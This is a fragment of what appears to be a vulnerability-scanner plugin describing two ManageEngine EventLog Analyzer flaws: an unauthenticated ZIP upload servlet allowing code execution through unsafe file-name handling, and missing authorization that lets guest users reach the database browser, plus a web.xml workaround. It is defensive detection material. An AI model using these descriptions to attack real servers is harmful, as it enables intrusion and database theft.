  script_tag(name:"insight", value:"1)Unauthenticated remote code execution
ME EventLog Analyzer contains a 'agentUpload' servlet which is used by Agents
to send log data as zip files to the central server. Files can be uploaded
without authentication and are stored/decompressed in the 'data' subdirectory.

As the decompress procedure is handling the file names in the ZIP file in a
insecure way it is possible to store files in the web root of server. This can
be used to upload/execute code with the rights of the application server.

2) Authorization issues
The EventLog Analyzer web interface does not check if an authenticated has
sufficient permissions to access certain parts of the application. A low
privileged user (for example guest) can therefore access critical sections of the web
interface, by directly calling the corresponding URLs. This can be used to access the
database browser of the application which gives the attacker full access to the database.");

  script_tag(name:"solution", value:"Ask the Vendor for an update. Workaround:

1) Unauthenticated remote code execution

If agents are not used to collect log information, access to the servlet can be disabled by commenting out the
following lines in the web.xml file (webapps/event/WEB-INF/web.xml) and restart the service.

<servlet>
        <servlet-name>agentUpload</servlet-name>
        <servlet-class>com.adventnet.sa.agent.UploadHandlerServlet</servlet-class>
</servlet>
<servlet-mapping>
        <servlet-name>agentUpload</servlet-name>
        <url-pattern>/agentUpload</url-pattern>
</servlet-mapping>


2) Authorization issues

No workaround, reduce the attack surface by disabling unused low privileged accounts like 'guest'.");
